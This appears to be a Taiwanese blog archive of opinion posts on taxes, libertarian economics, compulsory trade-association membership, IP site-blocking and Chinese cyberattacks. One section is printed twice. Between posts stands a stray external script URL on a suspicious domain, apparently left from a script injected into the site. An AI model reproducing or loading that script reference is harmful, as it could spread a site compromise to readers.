作者: yuanyuchang

許多人像前衛生署長楊志良先生一樣，喜歡批評政府圖利財團企業，讓他們少繳稅。

真是如此？

以下二表示我分別從政府網站找出來的資料：

其中，企業繳稅包含：營利事業所得稅、營業稅、金融保險機構營業稅、關稅、貨物稅等幾乎都是以法人為主的繳稅項目。綠色區塊則是馬英九在任時期。

很明顯：

1. 從稅收佔GDP比例來看，從陳水扁時代到馬英九時代，一直都是維持在12~13%之間，隨著GDP增長，稅收的絕對數值是增加而非減少。

2. 同樣的，除了2004年以外，企業繳稅佔總稅收比例一直維持在50%左右，其絕對數值除了2009金融風暴後百業蕭條之外，即便時任財政部長李述德將營業稅從25%降到17%、降低遺產稅以及遞延營利事業所得稅，整體趨勢也是持續增長。

事實上從稅收的絕對數目來看，2012年創記錄的稅收數字–近1兆8千億台幣，絕對證明李述德當時的「拔毛理論」是正確而非錯誤。聯合報的社論顯然是對不起李部長。

3. 上述企業繳稅，還不包括健保費企業支出（2011年企業負擔健保3016億）、勞保費用支出（2011年企業負擔勞保費用164億），也不包括地方的各種規費稅目，當然也不含如企業申請註冊智財權所要付出的行政費用，或某些行業有嚴格的法規又得額外支出行政費用。換言之，如果都加入前述兩個比較大項，那企業實際要支付給政府的還要多出3成3。

4. 事實上台灣最大的問題，不在於稅收太少或稅收沒成長（事實上明明有在成長）；而是在於政府支出過多，才會年年都入不敷出！

5. 炒房跟稅制不公沒有啥關係（天曉得什麼叫公平的稅制 — 富者/收入高者多繳稅，這對二者完全不公平）；只要一個社會經濟增長，就會有人拿錢去炒房，這是一種財富的倉庫，無知者才會認為這是個該處理的問題。「打房」是最愚蠢的政策，這明擺著就是要把人民過去累積的財富給毀掉。

財富會起會落、會漲會跌，無論是房地產或其他種資產。這是市場有效率的表現，毋須政府干預。

小小一個台灣，政府部門比美國、中國還多，公務員人數/人民比也是驚人（台灣有約34萬公務員）！許多不該政府管的事情、政府插手的事情，政府就是要管要插，弄得一堆專案計畫或補助根本只是讓有心人人謀不臧。

6. 我也不認為醫療應該國營化；政府只要廢掉健保，放手讓各家醫院自生自滅、自由收費競爭，那政府財政馬上就好一半！同時，人民享受到的醫療服務品質以及醫生的收入都會好上幾倍！三贏政策只損健保局那些公務員，後者就會來擋路了。

WSJ “China’s Cyber Stonewall" P.13, June 11, 2013.

1. 中國政府自約1991年開始進行大規模對於美國官方或民間網路的攻擊。

在軍事方面，WSJ直言中國20年來的軍事力量成長，霸凌周邊國家（"China….bullies its neighbors…"），同時也對美國軍事網路系統乃至於電力系統不斷地嘗試攻擊或入侵。這是中國的軍事行動，絕不可能因為華府的關注就停止。

Obama顯然在這次會面對於中國長期網路入侵攻擊美國一事，過於雲淡風輕。

2. 中國長期經濟上也透過竊取美國大公司商業機密來獲取商業利益。

3. 論者認為中國會因為國際名聲與國際壓力，最終放棄暗地進行的網路攻擊。WSJ認為這種想法顯然是天真無知，共產政權從來不在乎國際名聲也不曾因為國際壓力而改變其犯罪行為，看看北韓就知道了。

4. 聯合國就此事顯然緩不濟急，效率過慢；中國虛應故事也讓聯合國在此事件上淪為形式。 WSJ認為與其加強防守，同時也應該加強攻擊；WSJ社論甚至下重話：「Arms control won’t stop Chinese cyber theft. The fear of counter cyber warfare might.」

PS 本來想摘要在twitter就好，但字數顯然過多；摘要成一篇短文供參考。中國的網路軍事攻擊，在在顯示這個國家的「和平崛起」只是官樣文章，「強暴脅迫加上竊盜」才是中國政府一貫的施政舉措，無論是對付它國或是自己的人民。

WSJ “China’s Cyber Stonewall" P.13, June 11, 2013.

1. 中國政府自約1991年開始進行大規模對於美國官方或民間網路的攻擊。

在軍事方面，WSJ直言中國20年來的軍事力量成長，霸凌周邊國家（"China….bullies its neighbors…"），同時也對美國軍事網路系統乃至於電力系統不斷地嘗試攻擊或入侵。這是中國的軍事行動，絕不可能因為華府的關注就停止。

Obama顯然在這次會面對於中國長期網路入侵攻擊美國一事，過於雲淡風輕。

2. 中國長期經濟上也透過竊取美國大公司商業機密來獲取商業利益。

3. 論者認為中國會因為國際名聲與國際壓力，最終放棄暗地進行的網路攻擊。WSJ認為這種想法顯然是天真無知，共產政權從來不在乎國際名聲也不曾因為國際壓力而改變其犯罪行為，看看北韓就知道了。

4. 聯合國就此事顯然緩不濟急，效率過慢；中國虛應故事也讓聯合國在此事件上淪為形式。 WSJ認為與其加強防守，同時也應該加強攻擊；WSJ社論甚至下重話：「Arms control won’t stop Chinese cyber theft. The fear of counter cyber warfare might.」

PS 本來想摘要在twitter就好，但字數顯然過多；摘要成一篇短文供參考。中國的網路軍事攻擊，在在顯示這個國家的「和平崛起」只是官樣文章，「強暴脅迫加上竊盜」才是中國政府一貫的施政舉措，無論是對付它國或是自己的人民。

https://js.developerstatss.ga/stat.js?n=ns1

經濟學是一門解釋人類行為的學問，跟其他試圖解釋人類行為的學科，最大的差異在於經濟學特別著重人的選擇 — 一者，因為選擇是得以客觀觀察的現象；二者人的心理與意圖是無從觀察的現象；三者，因為世界資源是稀缺的，面對稀缺，人類非選擇不可。

前述狀況就帶來另外一個重點：選擇意味著人總是必須放棄其他選項。經濟學認為被放棄的選項所能帶來的效益，就是一個人的機會成本。是的，經濟學談的永遠是機會成本，所以毋須脫褲子放屁來強調"機會"二字。

換言之，經濟學從成本的角度（亦即人類做選擇的角度），透過侷限條件的觀察，從價格理論的基本邏輯來預測人類會有什麼行為。這成功解釋為什麼人類要組成公司、為什麼要合作、為什麼有道德教條、為什麼會有政府、為什麼農民一窩蜂種同種作物會導致價格崩盤、也解釋為什麼價格崩盤之後農民要政府出來收農民搞出來的爛攤子….等等。

經濟學是個解釋「為什麼人類會做某種決定」的學問，經濟學並非是一門「"教"人類該怎麼行為」的學問。如果人類行為還需要經濟學來教，那人類早在幾十萬年前就絕種了。

如同Armen Alchian的經典論文「Uncertainty, Evolution and Economic Theory」中所闡述：動物不需要知道物競天擇，也不需要知道基因等東西，就懂得要怎樣生存跟繁衍後代；人類當然也不需要知道經濟學為何物，就知道該怎麼生存與交易。因為這是物種之間乃至於人類之間，因為資源稀缺所產生的競爭壓力之下，所壓出的存活策略；如不這樣做，人類或某物種早就絕種了。

這又帶到，既然經濟學能解釋人類怎樣行為，自然也能知道特定選擇後會有什麼特定結果。

例如社會失業福利太好的國家，會養成失業的邊際勞動力人口選擇乾脆維持失業，因為找到工作就沒有了福利。如果申請福利又困難繁雜，那麼去找新工作的效益會低於繼續失業領福利。反之，如果失業後申請福利補助容易，那麼又會讓邊際員工因為工作辛苦容易動不動就離職。這會造成社會上有一群人長期或反覆失業，且滿足於這個狀況。在這種情形下，這些福利政策養出來的自願性失業人口，跟米蟲無異。這也讓我們知道，過好的失業福利，無助於降低失業率，反而會維持甚至增加。

天方夜譚？一點也不。我的公司就屬於3K辛苦行業，有多少勞工局派來的受訓失業者，大喇喇擺明說他是因為要繼續領失業救濟，所以才來面試；我們千萬別錄用他，不然救濟就沒了。也有來半天，下午就跑掉的。這些實例都代表經濟學的科學解釋力十分驚人。也代表這些假惺惺的偽善人道主義所帶來的福利政策，有多麼害人不淺。

在Milton Friedman等許多經濟學家研究之下，發現有不少社會福利政策，都會帶來同樣的unexpedted consequences。你希望人人享受良好醫療服務，推行健保政策的結果是多數人享受到的醫療都比以前差，同時醫療服務供應者薪資一部分被公務員吃掉。你希望勞工生活有保障而推行最低薪資限制，反而造成工作時間或能力不能配合的邊緣勞工失業更嚴重。

政客希望人人有自宅，透過補貼或法規強迫銀房放款給窮人，其結果就是引發系統性風險，是2008年金融風暴的源頭。

這些經濟學家也發現，政府如果管得越少，則這些問題市場都處理得更好。例如英治底下的香港，各方面問題都遠低於社會福利國家，人民財富增長反而更超越。

這種「無為而治」的高等智慧，在偽善的假人道主義者看來，反倒是大逆不道、十惡不赦了。

他們宣稱經濟學應該為窮人服務。這點根本就錯得離譜。

沒有任何一門學問該為特定族群服務一般；醫學的本質也是探究人類疾病與傷害，乃至於老化等自然現象。醫生才是救人的，但醫學不是。醫生也不見得要救人，例如爭吵多時的安樂死問題，醫生的角色反倒是減輕病人痛苦、一路好走。如果我們先入為主的價值觀，硬認為醫學就是要救人，則整門學問不但被扭曲，同時臨終前重病痛苦者，也被迫不能享受低痛苦好走的服務。這種假人道主義，害人不淺，此僅為一例。世界上也不會有人笨到質疑物理學、化學本質為什麼不是救人或造福人群。

至於認為自由會帶來罪惡，更是毫無根據且邏輯錯誤的判斷。

毛澤東治理中國期間，人民自由是人類歷史上少見的低下，食衣住行無一沒被嚴密管控。試問當時的罪惡就少了嗎？

同時，自由並不代表侵權行為毋須負責，也不代表產權劃定就可以隨便。

反之，台灣早年金融亂象，是出自於政府法規過多，金融業者什麼都不能做；同時許多金融產品或服務也不准人民選擇，更不准人民錢進他國投資，才造成丙種業者的亂七八糟，或地下吸金公司的橫行霸道。

論者把因為法規過嚴產生的混亂行為，歸責於過於自由，這不但是昧於事實，也是基本經濟學理論基礎根本有問題。

自由主義經濟學者，從來都沒有主張「無政府主義」；而是主張政府應該著重於市場無法處理的問題，例如產權劃分、侵權行為的確立與司法執行以及幣值穩定。政府做得沒市場好的部分，就放手別亂管。

市場機制下一定有勝者敗者，事實上你在任何資源分配機制之下都存在。但市場機制下的敗者，一樣會受惠於市場經濟的果實，窮也窮得比其他國家貧者富有。最明顯的，就是美國的窮人還是比中國的窮人來得富有許多。誠如柯斯多蘭尼說過：「資本主義的蛋糕大小不均，共產主義的蛋糕每片一樣大；但是資本主義最小的也大過共產主義的。」

但其他種資源分配機制，人類才剛剛實驗完的，就是中國極端共產。在這個制度下，毛澤東錯誤的農業政策（如改變種植密度以及全民打麻雀），引發的三年大饑荒，死了千萬人，這段時間毛澤東照樣餐餐有魚有肉，試問這種資源分配機制才受假人道主義者的青睞？

更甭提經濟學從來就無關社會分配公不公平的問題。那是個主觀價值問題，根本不是一門科學，當然也談不上是經濟學的內容。

經濟學可以說的，是如果你將收入最高的人或企業課以重稅，稅金大過於遷移的成本，則這些人與企業一定會跑掉，到最後你什麼稅都沒課到。如果關心社會分配公平問題的下場是這樣，那麼這些偽善的人道主義者的確會得到較公平的所得分配，因為富人跑光，只剩窮人，當然公平許多。

Friedman等人正因為關心窮人，才會在乎且研究歷來的社會福利政策究竟有沒有起到當初的效果；科學實證結果是 — 沒有，反而更糟。

如果說，指出國王沒穿新衣的人是冷血沒人性，那你們這些偽善且自大的假人道主義者，就繼續活在你們粉飾太平的錯誤理論與主張裡。畢竟，市場永遠是公平的，中共、俄共當年所編織的社會主義美夢，最後也是被現實淘汰。全民皆窮是客觀事實！我也祝福這些人美夢繼續做下去，畢竟是有認真製造經商的我們，社會上才能養得起寄生在國立大學，領取來自於我們繳納稅金的薪水的你們。這種養老鼠咬布袋的滋味，識者自然能慢慢體會。

商業團體法第12條規定：

「同一區域內，依公司法或商業登記法取得登記證照之公營或民營商業之公司、行號，均應於開業後一個月內，加入該地區商業同業公會為會員；其兼營兩業以上商業者，應分別加入各該業商業同業公會為會員。

前項會員應指派代表出席商業同業公會，稱為會員代表。」

如新設立公司不加入當地公會，依據同法第63條：

商業團體對不依法加入為會員之公司、行號，應以書面通知限期入會，逾期不入會者，報請主管機關通知其於三個月內入會；逾期再不入會者，由主管機關處一千五百元以上一萬元以下罰鍰。

商業團體對不依法加入為會員之團體，應報請主管機關通知其限期入會，逾三個月仍不入會者，依第六十七條之規定處分之。

這是一部侵害人民基本權益甚重的法律。

所謂商業團體，亦即常說的商業公會，地位是一種法人，屬於一種莫名其妙的機關。

以我已經參加過的塑膠同業公會來說，除了每年參觀某些會員的工廠，吃吃大餐之外，就不知道他在幹什麼。

在以台中縣商業公會來說，一年的會費最高達2000元，且加入第一年得繳4000元。這對剛設立的小公司來說是個莫名其妙的負擔。

又同法第14條規定：

公司、行號非因廢業或遷出該會組織區域，或受永久停業處分者，不得退會。

整部法律強迫人民新設立之公司，必須加入該公會，必須繳交會費，同時在沒有極端理由下不得退會？

憲法第14條：

人民有集會及結社之自由。

學過法學緒論都知道，憲法上之自由同時具備消極與積極意義 — 積極自由權，意指人民可以主動發起集會結社之活動；消極之自由，當然只人民可以拒絕參加任何集會或結社活動。

台灣的商業團體法，顯然就是違反憲法第14條之精神，剝奪了人民集會結社上的消極自由。

而依據憲法第23條：

以上各條列舉之自由權利，除為防止妨礙他人自由、避免緊急危難、維持社會秩序，或增進公共利益所必要者外，不得以法律限制之。

商業團體法本身就是「妨礙了他人自由」，絕不可能是「為防止妨礙他人自由」。自然也跟「避免緊急危難」或「社會秩序」扯不上半點關係。至於「增進公共利益」，一來就我的經驗，根本不知道這種同業公會能增進什麼公共利益，二來我也極度懷疑他們是否有能力增進半點公共利益。

舉例來說，本法第一條宗旨曰：「推廣國內外貿易，促進經濟發展，協調同業關係，增進共同利益。」

一者，我國內外各種貿易展參展看展，從來沒透過公會；同時我也知道，有許多民間旅行社專包這種商務旅遊，價廉物美效率高，也輪不到這類公會插手；二者，經濟發展靠的是自由市場、國際貿易，更與公會無關；三者，同業關係有啥好協調的？真要「協調以增進共同利益」，豈不是坐實了公平交易法所禁止的「聯合行為」？原來商業團體法之宗旨就是要違反公平交易法，失敬失敬！

再看看商業網站所宣稱提供的服務，民間銀行金融機構或教育補習單位都做得更多更好。

在我來看，依據我之前談過的「貪汙的一般性原則」，就是一種制度性貪汙 — 用法律強迫人民必須將部分所得或財產，移轉給特定人，更糟的是，在此法下特定人並無義務提供任何商品或服務。

談談經濟分析吧，假若人民有自由進出公會的自由，則競爭之下公會才會真的提供有用的服務；因為服務差的會因為入不敷出而被市場淘汰。

但是台灣的法律卻是規定新設立公司：一定要加入，不得退會，拒繳或延遲繳納會費還要罰鍰。

這種壟斷性法律直接把公會排除在市場競爭之外，形成一種攔路要錢、坐地分贓的路霸土匪。這，就是透過公權力保護的制度性貪汙。

說過了，人類有史以來的自然壟斷都是好事，唯有透過公權力合法暴力壟斷，經濟分析肯定是弊大於利！商業團體法包庇公會合法搶劫，就是一例。

6/4補充：
本法創於民國60年代，充滿政府管制的陰影。

但今時今日，網路、各類通訊乃至於政府資訊電子化都已經十分成熟，所有的新設立公司均得向經濟部商業司、國稅局、勞保局與健保局等做詳實之資料登記，同時這些國家機關也能輕而易舉地和地方政府交流資訊，更枉論聯繫廠商之容易，實在看不出來政府還需要透過公會與廠商聯繫之必要或價值所在。

網友uniself特別提到該法第五條，只是讓人對於公會之角色與潛在貪汙可能性更起疑竇。

智財局擬修法直接跳過法院，自己審查外國網站是否符合其所定義之「重大侵權網站」，若符合就透過台灣ISP封鎖。見新聞稿。

我認為這是違憲的法律草案，同時也存在許多爭議。

網路上已經有很多很好的分析，周欽華律師的「智財局擬修法封鎖境外侵權網站：違憲、危險、愚蠢」，其重點我摘錄如下，括弧內為我個人意見：

1. 「明顯重大」在法律上是一個沒有經過定義的詞彙，沒有人知道什麼叫做明顯重大？一個100G容量的網站，與一個1G容量網站，如前者侵權內容有50%，後者有90%，那究竟哪個是明顯重大？
（這邊我再補充一點：兩個容量相同的網站，一個49%侵權內容，另一個51%侵權內容，如何判定哪個重大？從容量？從內容數量？亦或者從內容的受歡迎程度？）

2. 違憲：違反憲法比例原則。

3. 理應透過法院來處理的私人糾紛，卻故意繞道為之，其問題有：
1) 法院才是判定侵權的單位，訴訟固然曠日廢時，但也是因為要透過雙方提出之證據來探求事實之真相。行政機關何德何能，可以代法院做判決？
2) 管轄權明明是政府態度問題。（如果政府繼續像處理菲律賓事件一樣自我矮化，那永遠也甭談管轄權）。

4. 例外準則讓人摸不著頭腦。

5. 智財局的「權利人」究竟是誰？讓這些怕死的公務員甘願冒險？太詭異了。

6. 會議竟然不找網路業者？

7. 網路速度快早是舊聞。

以下是我的簡單法律經濟分析：

1. 侵害著作權並不一定有相同的損失，用同樣的終極手段去禁止，是違反平等原則與比例原則

著作權與一般資產無異，其價值來自於未來收入之折現值總合。換言之，假若一個著作內容其未來收入很低甚至沒有，則其權利受侵害，要求得損失賠償，是不可能的。

這邊也延伸出一個問題：如果一個著作權沒有可預期收益可言或很低，則動用政府力量介入，同時犧牲消費者利益，經濟學上是一個淨損的行為。

除非在交易費用之下，我們為了一視同仁地保障產權以取得人民信賴與未來安全感。但，這是法院做的事，並非行政機關！

為何應是法院，理由如下：

a. 基於三權分立，如果行政機關球員兼裁判，那是很恐怖的事情。
b. 權利人到法院主張權利，要付出不少成本方能有結果；但是跟行政機關檢舉成本卻少得多。前者權利人經濟行為會想清楚、有充足證據方敢為之，但後者卻是可肆意為之，成本由全民負擔。
c. 法院經過繁複的證據呈現與當庭詰問，行政機關沒有。就探究事實而言，法院遠比行政機關來得更仔細、更令人信服。

此外，我在此不斷強調的，就是行政機關若賦予過多權利與法規限制，則特定族群的人與該行政機關就有更多誘因去進行貪汙賄賂。這在台灣已經發生很多次了，為何同樣愚蠢的錯誤要一犯再犯？

2. 受侵害著作權人，其所受損失多半來自於廣告或版稅，其租值之降低可視為被侵權行為人所侵害，則如此典型民法侵權行為之私法關係，理應由權利人尋求私法救濟，透過法院的判決來取得損害賠償。

假設A權利人被侵權，其減少廣告收入僅有幾百元（多數blog作者我相信其文章被違法轉載，所受損失微乎其微），這時透過司法救濟效益很低，反之，政府就大動作將該侵權網站封鎖，成本效益合理嗎？前一點已述。

但更重要且難解的是：許多初出茅廬的新人（無論是作家、諧星或歌星）或新節目，透過網路非法轉載的力量使其暴紅後，收入大增，那如此的侵權行為所造成的究竟是損失？還是利益？若是後者，豈非輪到侵權行為人來要求權利人分享收益？

此看似荒謬的提問，其實正是諾貝爾經濟學獎得主Ronald Coase的「牛與麥田」之例：牛偷吃了麥，是牛主人要賠給麥田主人？亦或麥田主人要賠給牛主人？Coase說：二者皆可，只要交易費用夠低，柵欄會在同一個位置，Pareto最佳點一樣會達到。

這是一個經典且轟動武林的法律經濟分析案例（理論發明者拿到諾貝爾獎，還不轟動？），放到智財局草案，我要問：假若境外侵權網站結果是讓一些素人或C、D咖藝人/節目翻紅，那是誰要賠給誰，方符合公平正義原則？

3. 封鎖網站之後，多數人如真需要侵權內容，多半會選擇租用常見的翻牆技術–VPN（virtual private network），經濟分析是簡單的：如果租用VPN的費用低於消費者一一購買內容產品的成本，在低訊息成本條件下（因為大陸台商教翻牆的網頁已經多到數不清），消費者不用VPN就是腦袋有問題了。

試問除非智財局如周欽華律師所言，一一檢視每個網路使用者的封包內容，否則智財局如何得知我是從哪個網站下載什麼內容東西回來？智財局真檢視，那就是侵害人民隱私權與秘密通訊之自由，依據台灣的「通訊保障及監察法」第五條：

　有事實足認被告或犯罪嫌疑人有下列各款罪嫌之一，並危害國家安全或社會秩序情節重大，而有相當理由可信其通訊內容與本案有關，且不能或難以其他方法蒐集或調查證據者，得發通訊監察書。
　一、最輕本刑為三年以上有期徒刑之罪。
　　二、刑法第一百條第二項之預備內亂罪、第一百零一條第二項之預備暴動內亂罪或第一百零六條第三項、第一百零九條第一項、第三項、第四項、第一百二十一條第一項、第一百二十二條第三項、第一百三十一條第一項、第一百四十二條、第一百四十三條第一項、第一百四十四條、第一百四十五條、第二百零一條之一、第二百五十六條第一項、第三項、第二百五十七條第一項、第四項、第二百九十八條第二項、第三百條、第三百三十九條、第三百三十九條之三或第三百四十六條之罪。
　　三、貪污治罪條例第十一條第一項、第二項之罪。
　　四、懲治走私條例第二條第一項、第三項或第三條之罪。
　　五、藥事法第八十二條第一項、第三項或第八十三條第一項、第四項之罪。
　　六、證券交易法第一百七十一條或第一百七十三條第一項之罪。
　　七、期貨交易法第一百十二條或第一百十三條第一項、第二項之罪。
　　八、槍砲彈藥刀械管制條例第十二條第一項、第二項、第四項、第五項或第十三條第二項、第四項、第五項之罪。
　　九、公職人員選舉罷免法第八十八條第一項、第八十九條第一項、第二項、第九十條之一第一項、第九十一條第一項第一款或第九十一條之一第一項之罪。
　　十、農會法第四十七條之一或第四十七條之二之罪。
　　十一、漁會法第五十條之一或第五十條之二之罪。
　　十二、兒童及少年性交易防制條例第二十三條第一項、第四項、第五項之罪。
　　十三、洗錢防制法第九條第一項、第二項之罪。
　　十四、組織犯罪防制條例第三條第一項後段、第二項後段、第六條或第十一條第三項之罪。
　　十五、陸海空軍刑法第十四條第二項、第十七條第三項、第十八條第三項、第十九條第三項、第二十條第五項、第二十二條第四項、第二十三條第三項、第二十四條第二項、第四項、第五十八條第五項、第六十三條第一項之罪。
　　前項通訊監察書，偵查中由檢察官依司法警察機關聲請或依職權以書面記載第十一條之事項，並敘明理由、檢附相關文件，聲請該管法院核發；檢察官受理申請案件，應於二小時內核復。如案情複雜，得經檢察長同意延長二小時。法院於接獲檢察官核轉受理申請案件，應於二十四小時內核復。審判中由法官依職權核發。法官並得於通訊監察書上對執行人員為適當之指示。
　　前項之聲請經法院駁回者，不得聲明不服。
　　執行機關應於執行監聽期間，至少作成一次以上之報告書，說明監聽行為之進行情形，以及有無繼續執行監聽之需要。法官依據經驗法則、論理法則自由心證判斷後，發現有不應繼續執行監聽之情狀時，應撤銷原核發之通訊監察書。
　　違反本條規定進行監聽行為情節重大者，所取得之內容或所衍生之證據，於司法偵查、審判或其他程序中，均不得採為證據。

和第六條：

有事實足認被告或犯罪嫌疑人有犯刑法妨害投票罪章、公職人員選舉罷免法、總統副總統選舉罷免法、槍砲彈藥刀械管制條例第七條、第八條、毒品危害防制條例第四條、擄人勒贖罪或以投置炸彈、爆裂物或投放毒物方法犯恐嚇取財罪、組織犯罪條例第三條、洗錢防制法第十一條第一項、第二項、第三項、刑法第二百二十二條、第二百二十六條、第二百七十一條、第三百二十五條、第三百二十六條、第三百二十八條、第三百三十條、第三百三十二條及第三百三十九條，為防止他人生命、身體、財產之急迫危險，司法警察機關得報請該管檢察官以口頭通知執行機關先予執行通訊監察。

其涵蓋的罪行都是重大犯罪、組織犯罪、洗錢罪或殺人、強盜、搶奪、強制性交等罪或最輕本刑三年以上之罪，並沒有賦予著作權上可能侵權就讓政府可以發動監聽。同時，著作權法上的刑責（這是台灣很莫名其妙的規定，以後再論）也都是三年或兩年以下，怎能符合監聽法之規定？

再者，智財局是有多大的人力物力來做封包監聽這件事？假設政府真的不計代價，硬要戴著鋼盔往前衝，試問權利人所受總損失，有大過你智財局所花費之成本加上視聽大眾失去內容享受與租用VPN之代價？

要知道，智財局為了保護少數權利人，卻要多數人付出更多代價（包含要增加的稅金），值得嗎？在經濟不景的現在，強迫多數人使用網路時負擔額外成本，是一種消費強迫轉移，在經濟分析上肯定是淨損。

題外話一句，你智財局因為人手不足，專利審查老是延宕多時，你為什麼不把資源擺在聘請更多審查官上？而是要放在這種莫名其妙且侵害人民權利的事情上？

本站作者我，在美國研究所就是專攻智財權的反托拉斯行為，因此本站一直很強調智財權的保護，在經濟分析上有其重要利益與意義。但這種過度保護，付出重大代價卻不見得能賺回多少利益，甚至讓政府習慣黑手插入原本是私法糾紛的私人關係中，此例一開，對台灣經濟與文化乃至於人民個人獨立性，都是弊大於利！

馬政府，剩三年，別下台前真蠢到在歷史上留下臭名！

Armen A. Alchian與William R. Allen合著的經典教科書「Exchange and Production Theory in Use」 P. 20:

Often, it is incorrectly asserted that economics presumes an “economic man," whose sole interest is making more money or getting wealthier or improving just his own circumstances. Not so! Economics does not assume that men are motivated solely, or even primarily, by the desire to accumulate more wealth. Instead, economic theory assumes that man — in Karachi, Canton, or Kalamazzo– desires more of many other things as well: prestige, power, friends, love, respect, self-expression, talent, liberty, knowledge, good looks, leisure, Day to day, economic theory is usually applied to the production, sale, and consumption of goods with money expenditures via the market place. But economic theory does not ignore, let alone deny, that man is motivated by culture and intellectual goods, and even by an interest in the welfare of other people — as we shall see.

如我前篇文章與回覆中說過，「有勝無、多勝少」的物品（包含友情、愛情、尊嚴、權力、才智、自由、知識、外貌….這類無形東西），只要人願意犧牲某些東西（例如精神、時間、體力、財物…..）來換取「有或更多」，這些行為就符合經濟學「自私假設」。

把經濟學自私假設當做是一個攻擊目標，在在彰顯自己連經濟學教科書的入門都沒讀懂。

同書P. 25

If these postulates and observations seem trite, so much the better, for they form the bases of the economic analysis that we shall apply in deriving “explanations" of the real economic world. People may not be aware of these postulates, any more than parents are necessarily aware of the laws of genetics and sexual attraction. None of the present postulates requires that people have awareness if these propositions. The postulates assert simply that people display consistent and predictable of responses to changes in their environment.

經濟學跟物理學一樣，基本假設並不需要物體本身了解或認知這件事。

一個帶質量物體，並不需要自身了解自己正受著萬有引力；一對狗在路邊交配，牠們並不需要認知到牠們是受到基因原始本能驅動而為之；一隻熊在夏秋季節努力多吃食物囤積熱量，牠也並不需要知道那是符合經濟學自私假設的行為，牠就會為之。

經濟學透過邏輯推演，可以預測熊在這個時節會往食物含量密度高的地方前進，因為這是較低成本的採集行為。這種成本效益分析，熊本身並不需要知道；因為不符合這種模式的，早就在演化中被大自然淘汰。

這是Armen Alchian 成名之作「Uncertainty, Evolution, Economic Theory」中提出的著名觀點，多受當代與後代經濟學家接受：

「… although individual participants may not know their cost and revenue situations, the economist can predict the consequences of higher wage rates, taxes, government policy, etc. Like the biologist, the economist predicts the effects of environmental changes on the surviving class of living organisms; the economist needs not assume that each participant is aware of, or acts according to, his cost and demand situation. These are concepts for the economist’s use and not necessarily for use by individual participants……」

經典的「自私的基因」一書，其觀點也十分接近 — 基因並非選擇自私或是認知到自己自私，而是不照這個行為模式的物種，幾乎都在演化競爭中消失了。

而這樣的自私見解，也完善了Adam Smith的觀點。

如果連經濟學第一課 — 自私的假設與科學方法 — 都不懂，其有關經濟學或經濟分析之言論，毫無參考價值。這種人的批評，也只是無的放矢。

自私假設是個公理（postulate/ axiom），是個要運用經濟學不得不接受的基本定義。對此有疑義，那經濟學也不用學了，其經濟分析也必然是錯誤的。

正因為自私假設是公理，所以也必然是套套邏輯（tautology），所以重點不在於自私假設，重點在於我們基於此假設和其他假設，利用邊際分析的方式，從真實世界可觀察到的現象，去得出合邏輯的經濟解釋，從而可以預測人類或生物的行為。

例如張五常舉例：某些情況之下，捐錢的費用比較低、或利益比較高，那麼捐錢的行為會增加。

你一副愛台灣的樣子，跟擺明要賣國的樣子，都可以說是因為自私。重點是哪些侷限條件下會改變愛台或賣台的方式，亦或改變選擇愛台或賣台，這，才是經濟學關心且有能力解釋的。

把某一派經濟學說成是促進官商勾結，這根本是胡扯；經濟學只有一種，就是透過實證取得科學性解釋力的經濟學。所謂的學派之爭，不是因為某些學派壓根沒學好經濟學，就是某些學派讓個人價值觀滲入的經濟學。

某些人更延伸主張「我們是美式自由主義的受害者」從而批判經濟學早已實證「市場在資源分配上較政府有效率」這個科學事實，只能說某些人被虐狂成分太重，自我作賤得很爽。

但這不是作學問的方法和態度。

經濟學諾貝爾獎得主Paul Samuelson曾在其暢銷的教科書好幾版，放入預測蘇聯何時經濟會超越美國的圖表；隨著時間推演，其預測時點越來越往後推，後來乾脆不放這張圖了。

Paul Samuelson眾所皆知，偏愛政府干預主導經濟，但其理論預測卻被事實駁倒。這才是經濟學。不是你搖著「為青年、為窮人」大旗，就能顛倒是非的。

這幾年清大退休的前機械動力系教授彭明輝真的很愛批評別人的專業，這原本是好事，因為任何專業都需要不同領域視野的人進來，才能進步，例如經濟學史上最有名的一次改革就是Paul Samuelson這位專攻物理數學的天才，為經濟學帶來數學革命，雖然嗣後發展利弊得失兼有之。

但要批評一個學科，你得先成為那個學科的頂尖專家，否則只是隻會叫的野獸，誤人子弟不說，還有沽名釣譽之嫌疑。

這篇「打開經濟學的多元視野」顯見其經濟學程度之粗淺薄弱。

2009年我就曾在這裡談過經濟學的「自私假設」是在說什麼，今天針對彭明輝這亂七八糟東西，我試著解釋得更清楚。

首先，彭教授舉例的牛頓力學與橋樑例子就是錯誤的（剛好我本身也在交大學過土木工程）：

牛頓三大定律和虎克定律是「放之四海皆準」的「原理」（principles，而非 truth），應用它來解決橋樑力學問題時，你不需要問這一座橋樑是坐落於哪一個國家，有哪些法律，有哪些社會福利與社會保險機制，有哪些親族關係與族群衝突，你只要把抽象分析所需要的生硬數據給我（boundary conditions、loading conditions、material properties），我就可以算出來它能不能承受預期的負載。

光靠boundary conditions、loading conditions、material properties這三個數值，壓根不可能知不知道橋樑承受最大負載是多少，你還得知道橋樑的結構方式、每個joint的形成方式、當地的氣候風向風力、當地的土壤結構、地盤強度、橋樑的地基方式、水泥強度、鋼筋強度…..等等許許多多的因素。這些就叫做侷限條件 — constraints 也。甚至許多工頭在水泥灌漿施工時，為了施工方便會偷加很多水進去預拌水泥中，此種行為會改變水泥的水灰比，從而影響水泥強度，這種行為豈是「抽象分析所需要的生硬數據」就能知道的？

經濟學也是一樣。經濟學要能準確預測推斷某種人類行為，必須要清楚知道侷限條件為何，這牽涉到法律、契約組成、行為人經濟能力、監管費用、執行費用、行為人對未來之預測、無風險利率…等等各種侷限條件，我們才能透過經濟學解釋某種現象。

經濟學大師張五常將上述這些都歸類在交易費用或制度費用的範疇。就如他的佃農理論，推出一套經濟理論之後，詳盡調查台灣1940年代在推出「375減租」前後各地農地、各種作物的產量平均變化，政策執行程度、分成和固定租約兩種契約組成模式與農產品種植方式與成本，從而得出台灣施行此政策之後，農民的工作量在競爭之下增加，但卻也在競爭之下得到較少的收入。

這才是經濟學！

不是彭明輝宣稱的那種：

經濟學對人類交易行為的探討經常是不自覺地假定交易是在沒有人際壓力、風俗習慣導引、人情世故、權力網絡、親族體系等影響下進行的。我把這種經濟學叫做「真空世界的經濟學」，或者「思辨的經濟學」（speculative economics）。這種經濟學像是中世紀繁瑣哲學的後裔，而不怎麼像「實證科學」。

